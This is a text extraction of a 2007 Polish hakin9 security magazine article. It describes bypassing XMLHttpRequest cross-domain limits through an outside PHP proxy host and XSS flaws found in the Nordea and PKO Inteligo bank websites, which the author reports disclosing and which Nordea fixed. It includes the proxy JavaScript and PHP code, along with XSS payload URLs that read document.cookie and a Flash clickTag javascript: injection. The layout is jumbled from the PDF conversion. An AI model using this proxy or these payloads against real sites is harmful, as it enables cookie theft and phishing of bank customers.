Opis luk w serwisach banków Nordea i PKO.pdf

(1204 KB) Pobierz
2581815 UNPDF
Atak
Opis luk w serwisach
banków Nordea i PKO
Inteligo oraz historia
Michał Majchrowicz
stopień trudności
włamań do Telewizji
Polskiej, Urzędu Miasta
Łodzi, Głównego
Inspektoratu Ochrony
Środowiska i Ministerstwa
Środowiska
Od kilku lat mamy do czynienia ze znaczącym rozwojem
technologii internetowych. Obecnie przeglądarka staje się
uniwersalnym narzędziem do poruszania się po sieci.
FTP, ale umożliwia też korzystanie z IRC
oraz może służyć (za pomocą np. rozsze-
rzeń) jako platforma do gier internetowych. Nie-
stety, rozwój taki ma miejsce również po drugiej
stronie barykady i nowe funkcjonalności często
bywają wykorzystywane przeciwko użytkowni-
kom i administratorom.
niu guzika usuń . Po drugie wprowadzono rewo-
lucyjny interfejs. To właśnie w nim po raz pierw-
szy pokazano, jak użyteczny na szeroką ska-
lę może być jeden mały obiekt – XMLHttpRe-
quest. Tak właśnie rozpoczęła się era techno-
logii AJAX.
AJAX (ang. Asynchronous JavaScript and
XML ), asynchroniczny JavaScript i XML – nie
jest technologią samą w sobie, lecz terminem
określającym nowe podejście do wykorzysta-
nia dotychczasowych technologii w połączeniu,
wliczając w to: HTML lub XHTML, kaskadowe
arkusze stylów, JavaScript, obiektowy model
dokumentu, XML, XSLT oraz XMLHttpRequ-
est. Kiedy te technologie zostaną wykorzysta-
ne razem w ramach modelu AJAX, aplikacje
sieciowe będą w stanie dokonywać szybkich,
Każdy kij ma dwa końce
– XMLHttpRequest
Mniej więcej trzy lata temu (1 kwietnia 2004)
świat obiegła informacja o stworzeniu przez
Google serwisu webmail – Gmail. Na począt-
ku potraktowano to jako primaaprilisowy żart.
Pojawiły się nawet sugestie, iż irma niedługo
przeprowadzi ekspedycję na księżyc. Oczy-
wiście tego typu komentarze szybko ustąpiły
miejsca rzeczowym ocenom projektu, a Gma-
il stał się jednym z najczęściej używanych ser-
wisów webmail na świecie. Można się doszu-
kiwać dwóch przyczyn jego popularności.
Przede wszystkim, po raz pierwszy w historii,
użytkownicy nie musieli już kasować swoich e
– maili. Mieli początkowo do dyspozycji 1 GB
miejsca na korespondencję (obecnie 2.8 GB),
co pozwalało praktycznie zapomnieć o istnie-
Z artykułu dowiesz się..
• jak obejść ograniczenia XMLHttpRequest
• co to są błędy Blind SQL Injection
Powinieneś wiedzieć...
• znać podstawy technologii AJAX i języka SQL
2
hakin9 Nr 5/2007
www.hakin9.org
J est ona nie tylko klientem HTTP, HTTPS i
2581815.022.png 2581815.023.png 2581815.024.png
Hakowanie popularnych serwisów internetowych
przyrostowych aktualizacji w interfej-
sie użytkownika bez potrzeby prze-
ładowywania całej strony w przeglą-
darce. To sprawia, że aplikacja wy-
daje się być szybsza i lepiej reagu-
je na akcje użytkownika. Jak widzi-
my, kluczem do technologi AJAX jest
obiekt XMLHttpRequest. Nie jest to,
jak można by sądzić, jakaś magiczna
skrzynka, dzięki której strony nagle
wyglądają ładniej. Zatem cóż to ta-
kiego? XMLHttpRequest (XHR) jest
zbiorem programistycznych interfej-
sów aplikacyjnych, które mogą być
używane przez JavaScript, JScript,
VBScript oraz inne języki skryptowe
przeglądarek internetowych do prze-
kazywania XML lub innych danych
do oraz z serwera internetowego,
używając protokołu HTTP. XMLHt-
tpRequest było pierwotnie stworzo-
ne przez Microsoft, jako część usłu-
gi OWA ( Outlook Web Access ) 2000.
Implementacja Microsoftu nazy-
wa się XMLHTTP. Wykorzystywana
jest w Internet Explorerze, poczyna-
jąc od wersji 5.0 i jest dostępna po-
przez JScript, VBScript i inne języ-
ki skryptowe obsługiwane przez IE.
Pierwsza natywna implementacja
XMLHttpRequest została włączo-
na przez Mozillę do Mozilla Appli-
cation Suite 1.0 w 2002 roku. Imple-
mentacja ta była potem obsługiwa-
na przez Apple w Safari 1.2, Konqu-
eror, Opera Software (od Opery 8.0)
i iCab (od wersji 3.0b352). Konsor-
cjum World Wide Web opublikowa-
ło szkic ( Working Draft ) specyika-
cji obiektu XMLHttpRequest 5 Kwiet-
nia 2006 roku. Jest ona ciągle opra-
cowywana, a jej cel polega na tym,
by dokumentować minimalny zestaw
wspólnych cech istniejących imple-
mentacji, umożliwiając tworzenie ko-
du bez oddzielnych bloków tekstu dla
różnych platform. Szkicowa specyi-
kacja jest bazowana na implementa-
cjach popularnych przeglądarek, aby
zapewnić przenośność kodu. Dzięki
tej garści wiadomości łatwo można
zrozumieć rolę, jaką odegrała irma
Google w rozwoju technologii AJAX.
Mimo że obiekt XMLHttpRequest był
już obsługiwany przez przeglądar-
ki z rodziny Gecko i Internet Explo-
rera, to programiści Opery cały czas
zwlekali z jego implementacją. Po-
wód był prosty, a ta historia przypo-
mina dzieje CSS. Chociaż były one
dostępne, przez długi czas przeglą-
darki ich nie obsługiwały. Zmieniło
się to w chwili, gdy użytkownicy in-
ternetu zaczęli zmieniać przeglądar-
ki (sam przesiadłem się z Opery na
Mozilla Firefox), by móc korzystać z
serwisów wymagających technologii
AJAX. Gdy otrzymałem zaproszenie
do Gmaila, był to jeszcze projekt za-
mknięty. Dostęp do niego mieli jedy-
nie ci użytkownicy, którzy zarejestro-
wali się pierwszego dnia. W tym mo-
mencie uzyskali oni możliwość wy-
słania zaproszeń, przy czym jedynie
do trzech osób i na pewnych warun-
kach. Miałem szczęście otrzymać
jedno z nich. Pamiętam jaki byłem
zaskoczony, zawiedziony i wściekły,
gdy przy pierwszej próbie logowania
do Gmaila dowiedziałem się, że nie
mogę z niego korzystać,ponieważ
moja przeglądarka nie jest z nim w
pełni kompatybilna.
Listing 1. Przykładowa strona internetowa
<?xml version="1.0" encoding="iso-8859-2"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-PL">
<head>
<meta http-equiv="Content-type" content="text/html;
charset=iso-8859-2" />
<meta http-equiv="Content-Language" content="pl" />
<title> My test page 1</title>
<script src="http://sectroyer.110mb.com/normal.js"
type="text/javascript"></script>
<script src="http://sectroyer.110mb.com/myxmlhttprequest.js"
type="text/javascript"></script>
</head>
<body>
<div style="color: green; text-align: center;">My test 1</
div>
<p>
<a href="http://validator.w3.org/
check?uri=referer"><img
src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" /></a>
</p>
<script src="http://sectroyer.110mb.com/abnormal.js"
type="text/javascript"></script>
</body>
</html>
Listing 2. Plik normal.js
if (window.XMLHttpRequest)
req = new XMLHttpRequest() ;
else
req = new ActiveXObject( "Microsoft.XMLHTTP" ) ;
function callback ()
{
if (req.readyState == 4 )
{
alert (req.responseText) ;
}
}
req.onreadystatechange = callback ;
req. open ( "GET" , "/" ,true) ;
req.send(null) ;
www.hakin9.org
hakin9 Nr 5/2007
3
 
2581815.001.png 2581815.002.png 2581815.003.png 2581815.004.png
 
Atak
Spójrzmy jednak na ten obiekt
ze strony atakującego. Dotychczas
możliwości ataku za pomocą kodu
JavaScript były ograniczone. Moż-
na było jedynie przekazywać nie-
które parametry do witryny poprzez
GET (np. ładując obiekt IMG). Agre-
sor nie miał też żadnej możliwo-
ści pobierania wyniku swojej opera-
cji. Innymi słowy, korzystając z luki
XSS w jakimś serwisie pocztowym
mógł on jedynie pobrać dane znajdu-
jące się w ciasteczkach i treści stro-
ny, ale wykonanie np. zapytania in-
dex.php?action=pokaz_dane i uzy-
skanie jego rezultatów było poza je-
go zasięgiem. Korzystanie z XMLHt-
tpRequest takie ograniczenia likwi-
duje. Hacker może wykonać wiele
operacji i użytkownik nie będzie na-
wet o tym wiedział. Atakujący ma
możliwość zarówno przetwarzania
wyników zapytań GET, jak i POST.
Ta broń jest już teraz aktywnie wy-
korzystywana w realnym świecie.
Programiści przeglądarek interne-
towych postanowili ograniczyć pole
ataku, nakładając na XMLHttpRequ-
est restrykcje. W Mozilla Firefox i In-
ternet Explorer 7 obiekt ten nie może
wykonywać zapytań do różnych do-
men, czyli na przykład kod wykony-
wany na stronie server.com nie ma
prawa wysłać do (lub pobrać danych
ze) strony server2.com. Po dłuższej
analizie tego zagadnienia dosze-
dłem do wniosku, iż takie ogranicze-
nie jedynie utrudnia życie programi-
stom, a nie potencjalnym napastni-
kom. Wyniki badań możemy zoba-
czyć na Listingu 1.
Na tej stronie ładowane są trzy
pliki JavaScript: normal – korzysta-
jący z obiektu XMLHttpRequest,
myxmlhttprequest – deinicja moje-
go obiektu zapewniającego podob-
ną funkcjonalność oraz abnormal.js
– plik wykorzystujący stworzoną
przeze mnie implementację. Pliki te
można zobaczyć na Listingu 2.
Struktura obiektu MyXMLHttpRe-
quest w stosunku do XMLHttpRequ-
est różni się w dwóch punktach: po
pierwsze odpowiedź jest przekazy-
wana jako parametr funkcji, a nie
zmienna wewnątrz klasy; po drugie
można wykonywać jedynie zapyta-
nia asynchroniczne. A efekt działa-
nia kodu możemy zobaczyć na Ry-
sunku 1.
Należy jeszcze wspomnieć o
tym, iż obiekt może zostać urucho-
miony jedynie w obrębie body. Ko-
rzysta on również ze specjalnego
pliku PHP. Jego przykładowa imple-
mentacja zamieszczona została na
Listingu 5.
Listing 3. Plik myxmlhttprequest.js
var mysubglobalcallback = 0 ;
function myglobalcallback (myanswer)
{
mysubglobalcallback( unescape (myanswer)) ;
}
function mysend (params)
{
mysubtmp = document.createElement( 'script' ) ;
mysubglobalcallback = this .onreadystatechange ;
if ( this .method == "GET" )
mysubtmp.src = "http://sectroyer.110mb.com/myhttp.php?u
rl=" + escape ( this .url)+ "&method=get" ;
else if ( this .method == "POST" )
mysubtmp.src = "http://sectroyer.110mb.com/myhttp.php
?url=" + escape ( this .url)+ "&method=post&vars=" + escape (p
arams) ;
document.body.appendChild(mysubtmp) ;
this .readyState = 4 ;
}
//we only can do asynchronous requests
function myset (mymethod,myurl,asynch)
{
this .method = mymethod ;
this .url = myurl ;
}
function MyXMLHttpRequest ()
{
this .method = 0 ;
this .url = 0 ;
this .readyState = 0 ;
this .responseText = 0 ;
this .sync = 0 ;
this .onreadystatechange = 0 ;
this . open = myset ;
this .send = mysend ;
}
Listing 4. Plik abnormal.js
var req = new MyXMLHttpRequest() ;
function callback (responseText)
{
if (req.readyState == 4 )
{
alert (responseText) ;
}
}
req.onreadystatechange = callback ;
req. open ( "GET" , "http://www.google.com/" ,true) ;
req.send(null) ;
req. open ( "POST" , "http://hroch486.icpf.cas.cz/cgi-bin/echo.pl" ,true) ;
req.send( "your_name=test_name" ) ;
Przykładowe cele ataku
– Nordea i PKO Inteligo
Do tej pory w artykule opisałem jedy-
nie teoretyczną sytuację. Nie dałem
jednak żadnego przykładu wykorzy-
4
hakin9 Nr 5/2007
www.hakin9.org
2581815.005.png
 
2581815.006.png
 
2581815.007.png
 
2581815.008.png 2581815.009.png
 
2581815.010.png
 
Hakowanie popularnych serwisów internetowych
stania przedstawionych przeze mnie
technik w praktyce. Aby zobrazować
potencjalne zagrożenie, posłużę się
opisami błędów w dwóch serwisach
internetowych – Nordea i PKO Inte-
ligo. Po przeanalizowaniu zabezpie-
czeń Banku Nordea udało mi się wy-
kryć kilka błędów. Ponieważ nie po-
siadam konta w tym banku, nie by-
łem w stanie dokładnie ocenić po-
tencjalnego niebezpieczeństwa, wy-
nikającego z wykorzystania tych luk.
Skorzystałem więc ze znajdującego
się na stronie www.nordea.pl formu-
larza, w celu, choćby częściowego
uzupełnienia mojej wiedzy i poinfor-
mowania o zaistniałej sytuacji. Szcze-
rze powiedziawszy, jak to często się
zdarza, nie spodziewałem się żadnej
reakcji. Dużym zaskoczeniem oka-
zała się dla mnie bardzo szybka od-
powiedź pracowników banku. Doszło
między nami do wielokrotnej wymiany
e-maili oraz kilku rozmów telefonicz-
nych. Poproszono mnie o przedsta-
wienie szczegółów dotyczących mo-
ich badań. Udzielono mi również do-
kładnych informacji na temat natury
wykrytych przeze mnie błędów. Jak
się okazało, część z nich wynikała z
pomyłki producenta oprogramowania
serwera www, a nie samego serwisu.
Dowiedziałem się również, iż całość
skryptów została sprawdzona pod ką-
tem zgłoszonych błędów. Po zakoń-
czeniu wszystkich prac poproszono
mnie o ponowne przyjrzenie się ser-
wisowi. Tym razem nie udało mi się
znaleźć żadnej podatności na ataki ty-
pu XSS. Cieszy mnie, iż Bank Nordea
podszedł do sprawy tak poważnie i to
zanim doszło do jakiegokolwiek szu-
mu medialnego. Ta pozytywna reak-
cja powinna być przykładem dla in-
nych instytucji. Najczęściej informacje
o lukach są albo ignorowane, albo do-
chodzi do tzw. cichego łatania luk za-
nim jakakolwiek wiadomość o nich do-
trze do opinii publicznej. Teraz chciał-
bym opisać szczegóły owych błędów.
Pierwsza wykryta przeze mnie luka
znajdowała się w części informacyj-
nej pod adresem www.nordea.pl w
polu szukaj:
http://www.nordea.pl/pl/search/
?query=jasio <script>alert(docume
nt.cookie);</script> Udało się dzię-
ki niej doprowadzić do JavaScript
Injection, przedstawione na Rysun-
ku 2 i 3.
Możliwe było również doprowa-
dzenie do pełnego XSS.
Serwis wewnętrzny znaj-
duje się pod adresem https:
//www.nordeasolo.pl . Tutaj nie by-
ło już tak łatwo. Dane przekazy-
wane do serwera są odpowied-
nio iltrowane, a część stron jest po
prostu statyczna. Niestety, głów-
ny skrypt umożliwia przekiero-
wania na inną podstronę: https:
Rysunek 1. Efekt działania obiektu MyXMLHttpRequest
Rysunek 2. Cookie zdobyte na stronie głównej.
Listing 5. Plik myhttp.php
<? php
if ( isset ( $_GET [ 'url' ]) ==true )
{
$curl =curl_init () ;
curl_setopt ( $curl ,CURLOPT_COOKIE, $_GET [ 'cookie' ]) ;
curl_setopt ( $curl ,CURLOPT_URL,rawurldecode ( $_
GET [ 'url' ])) ;
curl_setopt ( $curl ,CURLOPT_RETURNTRANSFER,1 ) ;
if (( $_GET [ 'method' ] == "post" ) && ( isset ( $_
GET [ 'vars' ]) ==true ))
{
$vars =rawurldecode ( $_GET [ 'vars' ]) ;
curl_setopt ( $curl ,CURLOPT_
POSTFIELDS, $vars ) ;
}
$tmp =curl_exec ( $curl ) ;
curl_close ( $curl ) ;
echo "myglobalcallback( \" " .rawurlencode ( $tmp ) . " \" );" ;
}
?>
www.hakin9.org
hakin9 Nr 5/2007
5
 
2581815.011.png 2581815.012.png 2581815.013.png 2581815.014.png
 
Atak
//www.nordeasolo.pl/solo/www?dest=/
html/applications.jsp&lang=pl Jeśli w
treści parametru dest podamy nie ist-
niejący plik, to zostanie wyświetlony
komunikat o błędzie. Zawiera on w
swej treści wartość tego parametru,
która nie jest w żaden sposób oczysz-
czana. W efekcie możemy bezproble-
mowo doprowadzić do XSS, jak na
Rysunku 5.
Błędy, jakie wychwyciłem w
PKO, również nie były łatwe do wy-
krycia. Zacznijmy od serwisu infor-
macyjnego banku, znajdującego się
pod adresem www.pkobp.pl. Oczy-
wiście pierwsze swoje kroki skiero-
wałem do pola szukaj . Udało mi się
tutaj wydostać z cudzysłowów, jed-
nakże niemożność użycia niektó-
rych znaków nie pozwoliła mi na Ja-
vaScript Injection.
Po dłuższej analizie odkryłem,
iż graiki Flash nie są poprawnie za-
bezpieczane. Po kliknięciu na rekla-
mę użytkownik zostaje przekierowa-
ny na wartość zmiennej clickTag .
Możemy na przykład wpleść w treść
naszej strony taki odnośnik: http://
www.pkobp.pl/images/banners/bdm_
nagroda_150x100_1.swf?clickTag=ja-
vascript:alert („Hacked”). Ogranicza
nas tylko nasza fantazja, przykład
przejęcia cookie i zmiany treści strony
możemy zobaczyć na Rysunku 7.
Błąd ten może zostać wykorzy-
stany do phishingu. Nie pozwala jed-
nak na zdobycie żadnych przydat-
nych danych, chyba że atakujący
jest w stanie nakłonić internautę do
użycia guzika logowanie w celu zalo-
gowania się do części wewnętrznej
serwisu. Następnie przeanalizowa-
łem serwis Inteligo - internetową ga-
łąź PKO BP. Można by się spodzie-
wać, że tak wielka instytucja w od-
powiednim stopniu zadba o bezpie-
czeństwo swoich klientów. I faktycz-
nie, trzeba przyznać, że bezpieczeń-
stwo serwisu jest wyższe niż w przy-
padku wielu innych polskich banków.
Niestety obie strony ( www.pkobp.pl i
www.pkointeligo.pl ) były pisane bez
globalnego myślenia. Innymi słowy
wygląda to tak, że jedna osoba do-
dała jakąś funkcjonalność do serwi-
su, a następnie ją poprawnie zabez-
pieczyła. Po jakimś czasie drugi pro-
gramista wykorzystał ją w innej czę-
ści strony, nie zadbał jednak odpo-
wiednio o sprawy bezpieczeństwa.
W efekcie udało mi się wykryć lu-
kę pozwalają na JavaScript Injec-
tion oraz XSS. Analizy luki dokona-
łem wspólnie z Panem Mateuszem
Stępniem z portalu Hack.pl. Błąd
znajduje się w dwóch najważniej-
szych skryptach: short_ssk - odpo-
wiedzialnego za składanie wniosków
kredytowych oraz ikd, który zajmuje
się obsługą całej bankowości inter-
netowej, wykonywania przelewów,
sprawdzania stanu konta, dokony-
wania ustawień. Ponieważ Inteligo,
Rysunek 3. Kod wyświetlający cookie.
Rysunek 4. Kod powodujący XSS na stronie głównej.
Rysunek 5. Luka XSS w serwisie https://www.nordeasolo.pl
6
hakin9 Nr 5/2007
www.hakin9.org
2581815.015.png
 
2581815.016.png
 
2581815.017.png
 
2581815.018.png 2581815.019.png
 
2581815.020.png 2581815.021.png
 
Zgłoś jeśli naruszono regulamin